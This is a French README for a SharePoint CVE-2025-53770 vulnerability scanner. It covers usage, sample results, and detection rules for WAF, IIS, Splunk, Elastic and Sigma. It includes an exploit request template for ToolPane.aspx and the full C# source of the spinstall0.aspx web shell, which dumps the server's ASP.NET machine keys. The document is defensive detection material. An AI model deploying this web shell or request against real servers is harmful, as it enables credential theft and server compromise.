
ToolShell scanner - CVE-2025-53770 et informations de détection
100% bricolé avec tous les tweets contenant des payloads et différentes attaques, donc livré sans aucune garantie, etc. Le scanner est conçu pour identifier les instances vulnérables et dispose d'une configuration avec des utilisations connues dans la nature de l'exploitation. Il est principalement conçu pour une utilisation défensive afin d'identifier les instances vulnérables et de vous permettre de corriger les choses.
Ce scanner effectue des vérifications automatisées des déploiements SharePoint en :
SP2013: WEBSER~1\15\ vs SP2016+: WEBSER~1\16\)git clone https://github.com/ZephrFish/CVE-2025-53770-Scanner
cd CVE-2025-53770-Scanner
pip install -r requirements.txt
Créez un fichier texte avec les hôtes cibles (un par ligne) :
sharepoint1.example.com
sharepoint2.example.net
internal-sp.company.local
Exécutez le scanner :
python3 scanner.py -i hosts.txt
python3 scanner.py -i hosts.txt -o results.json -l scan.log -t 20 -v
| Option | Description | Par défaut |
|---|---|---|
-i, --input | Chemin vers le fichier de liste d'hôtes (obligatoire) | - |
-o, --output | Fichier de sortie pour les résultats (.json, .csv, .txt) | Aucun |
-l, --logfile | Chemin du fichier de journalisation détaillée | Aucun |
-t, --threads | Nombre de threads concurrents | 10 |
-v, --verbose | Activer la sortie détaillée et la journalisation | False |
-o results.json)[
{
"host": "sharepoint.example.com",
"url": "https://sharepoint.example.com/_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx",
"scan_time": "2025-07-21T10:30:00.123456",
"vulnerable": true,
"status_code": 200,
"response_size": 15432,
"error": null,
"response_time": 1.23
}
]
-o results.csv)Fournit des données tabulaires adaptées à l'analyse dans un tableur avec des colonnes pour toutes les métriques de scan.
-o results.txt)Format lisible par l'homme avec l'état de vulnérabilité et les détails du scan.
CVE-2025-53770 cible une vulnérabilité de désérialisation dans le composant ExcelDataSet de SharePoint qui a été activement exploitée dans la nature. Le scanner détecte :
/_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx avec un payload sérialiséValidationKey|Validation|DecryptionKey|Decryption|CompatibilityMode
Exemple : [128-256 caractères hex]|HMACSHA256|[48-96 caractères hex]|AES|Framework45
spinstall0.aspx pour un accès persistant et l'extraction de clésMozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0/_layouts/SignOut.aspxLe scanner analyse les réponses pour :
$ python3 scanner.py -i corporate-sharepoint.txt -o vuln-results.json -l scan.log -v
Démarrage du scan de 150 hôtes avec 10 threads...
Cible CVE : CVE-2025-53770 (Désérialisation ExcelDataSet SharePoint)
Journalisation vers : scan.log
Les résultats seront sauvegardés dans : vuln-results.json
[+] VULNÉRABLE [CRITIQUE] : sp-prod-01.acme.local
[-] Non vulnérable : sp-dev-02.acme.local
[!] ERREUR : offline-sp.acme.local - Délai de connexion dépassé
[+] VULNÉRABLE [ÉLEVÉ] : sp-legacy.acme.local
Progression : 50/150 (33.3%)
Progression : 100/150 (66.7%)
Progression : 150/150 (100.0%)
============================================================
SCAN TERMINÉ
============================================================
Total des hôtes scannés : 150
Hôtes vulnérables : 3
Taux de réussite : 97.3%
HÔTES VULNÉRABLES (CVE-2025-53770) :
CRITIQUE - CLÉ MACHINE EXTRAITE (1 hôte) :
• sp-prod-01.acme.local (Temps de réponse : 0.85s, Version : 2016+)
AVERTISSEMENT : ACTION IMMÉDIATE REQUISE : Clés machine compromises
CONFIANCE ÉLEVÉE (1 hôte) :
• sp-legacy.acme.local (Temps de réponse : 1.23s, Version : 2013-2016)
CONFIANCE FAIBLE (1 hôte) :
• sp-archive.acme.local (Temps de réponse : 2.10s, Version : Inconnue)
Résultats détaillés sauvegardés dans : vuln-results.json
Activez la journalisation détaillée (-v) et les fichiers de journal (-l) pour un dépannage détaillé :
tail -f scan.log
Le scanner intègre la détection des modèles d'exploitation confirmés observés dans les attaques actives :
POST /_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx HTTP/1.1
Host: target.domain.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Content-Length: 7699
Content-Type: application/x-www-form-urlencoded
Referer: /_layouts/SignOut.aspx
Connection: close
MSOTlPn_Uri=http%3A%2F%2F{{host}}%2F_controltemplates%2F15%2FAclEditor.ascx
&MSOTlPn_DWP=[Payload ExcelDataSet avec CompressedDataTable contenant l'exploit sérialisé]
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<script runat="server" language="c#" CODEPAGE="65001">
public void Page_load()
{
var sy = System.Reflection.Assembly.Load("System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a");
var mkt = sy.GetType("System.Web.Configuration.MachineKeySection");
var gac = mkt.GetMethod("GetApplicationConfig", System.Reflection.BindingFlags.Static | System.Reflection.BindingFlags.NonPublic);
var cg = (System.Web.Configuration.MachineKeySection)gac.Invoke(null, new object[0]);
Response.Write(cg.ValidationKey+"|"+cg.Validation+"|"+cg.DecryptionKey+"|"+cg.Decryption+"|"+cg.CompatibilityMode);
}
</script>
ValidationKey: [Chaîne hexadécimale de 128 à 256 caractères]
Validation: HMACSHA256|HMACSHA1|SHA1
DecryptionKey: [Chaîne hexadécimale de 48 à 96 caractères]
Decryption: AES|DES|3DES
CompatibilityMode: Framework20SP1|Framework45|Framework40
Les organisations devraient mettre en œuvre les mécanismes de détection suivants pour identifier les tentatives d'exploitation potentielles :
Surveillez les requêtes POST suspectes vers les points de terminaison ToolPane de SharePoint :
# Exemples de motifs de règles de détection WAF
POST /_layouts/15/ToolPane.aspx*
POST /_layouts/*/ToolPane.aspx*
Chaîne de requête : "DisplayMode=Edit&a=/ToolPane.aspx"
Corps de la requête contenant : "MSOTlPn_Uri", "MSOTlPn_DWP"
Corps de la requête contenant : "ExcelDataSet", "CompressedDataTable"
Corps de la requête contenant : "Scorecard:ExcelDataSet"
Corps de la requête contenant : "H4sIAAAAAAAEA" (octets magiques gzip en base64)
Content-Length > 5000 octets (taille typique du payload)
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0)
Referer: /_layouts/SignOut.aspx
Modèles d'exploitation observés :
CompressedDataTableSurveillez les journaux du Service de journalisation unifié (ULS) de SharePoint pour :
Catégorie : SharePoint Foundation Web Controls
Niveau : Inattendu, Erreur, Critique
Mots-clés : "ToolPane", "ExcelDataSet", "Deserialization"
Processus : w3wp.exe
Indicateurs clés dans les journaux ULS :
Surveillez les journaux IIS pour les modèles d'exploitation :
# Requêtes d'analyse de journaux (remplacez par la syntaxe de votre SIEM)
cs-method="POST" AND cs-uri-stem="/_layouts/15/ToolPane.aspx"
cs-method="POST" AND cs-uri-query="DisplayMode=Edit&a=/ToolPane.aspx"
cs-bytes > 7000 (taille typique du payload d'exploitation)
cs(User-Agent)="Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0"
cs(Referer)="/_layouts/SignOut.aspx"
sc-status=200 AND time-taken > 5000 (traitement lent indiquant une désérialisation)
IOC spécifiques provenant d'attaques réelles :
POST /_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx
Content-Length: 7699
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Referer: /_layouts/SignOut.aspx
Corps contient : MSOTlPn_Uri=http%3A%2F%2F[domaine]%2F_controltemplates%2F15%2FAclEditor.ascx
Corps contient : CompressedDataTable%3D%22H4sIAAAAAAAEANVa23LbSJLt3stEzMzu0%2F6AQs%2B2BJCiu%2BWQ
Surveillez le trafic réseau pour :
Surveillez les journaux d'événements Windows sur les serveurs SharePoint :
Journal des événements : Application
Source : ASP.NET, SharePoint Foundation
ID d'événement : 1309, 1310 (erreurs d'application)
Journal des événements : Système
Source : Application Error
Processus : plantages de w3wp.exe
index=iis source="*iis*"
| search cs_method="POST" cs_uri_stem="/_layouts/15/ToolPane.aspx" cs_uri_query="DisplayMode=Edit&a=/ToolPane.aspx"
| eval payload_size=tonumber(cs_bytes)
| where payload_size > 7000
| search cs_User_Agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0"
| stats count by src_ip, cs_uri_stem, payload_size
| sort -payload_size
index=iis
| search cs_method="POST" AND cs_uri_stem="/_layouts/15/ToolPane.aspx"
| where cs_bytes > 7000 AND cs_bytes < 10000
| search cs_Referer="/_layouts/SignOut.aspx"
| eval attack_pattern=if(like(cs_User_Agent, "%Windows NT 10.0; Win64; x64; rv:120.0%"), "CVE-2025-53770", "Autre")
| where attack_pattern="CVE-2025-53770"
| table _time, src_ip, cs_uri_query, cs_bytes, sc_status
{
"query": {
"bool": {
"must": [
{"term": {"http.request.method": "POST"}},
{"term": {"url.path": "/_layouts/15/ToolPane.aspx"}},
{"term": {"url.query": "DisplayMode=Edit&a=/ToolPane.aspx"}},
{"range": {"http.request.bytes": {"gte": 7000, "lte": 10000}}},
{"term": {"user_agent.original": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0"}},
{"term": {"http.request.referrer": "/_layouts/SignOut.aspx"}}
]
}
}
}
title: Exploitation CVE-2025-53770 SharePoint ExcelDataSet
id: cve-2025-53770-sharepoint-exploit
description: Détecte les tentatives d'exploitation de la vulnérabilité de désérialisation SharePoint CVE-2025-53770
references:
- https://github.com/your-repo/CVE-2025-53770-Scanner
author: Équipe de sécurité
date: 2025/07/21
logsource:
category: webserver
product: iis
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/_layouts/15/ToolPane.aspx'
cs-uri-query: 'DisplayMode=Edit&a=/ToolPane.aspx'
cs-bytes:
- gte: 7000
- lte: 10000
cs-User-Agent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0'
cs-Referer: '/_layouts/SignOut.aspx'
condition: selection
falsepositives:
- Activités administratives SharePoint légitimes
level: high
tags:
- attack.initial_access
- attack.t1190
- cve.2025.53770
Surveillez ces comportements post-exploitation :
Réponse immédiate :
Investigation :
Contention :
# Convertir les résultats de scan pour ingestion Splunk
python3 scanner.py -i hosts.txt -o results.json
# Importer dans l'index Splunk
curl -k -H "Authorization: Splunk <token>" -X POST \
"https://splunk-server:8088/services/collector" \
-d @results.json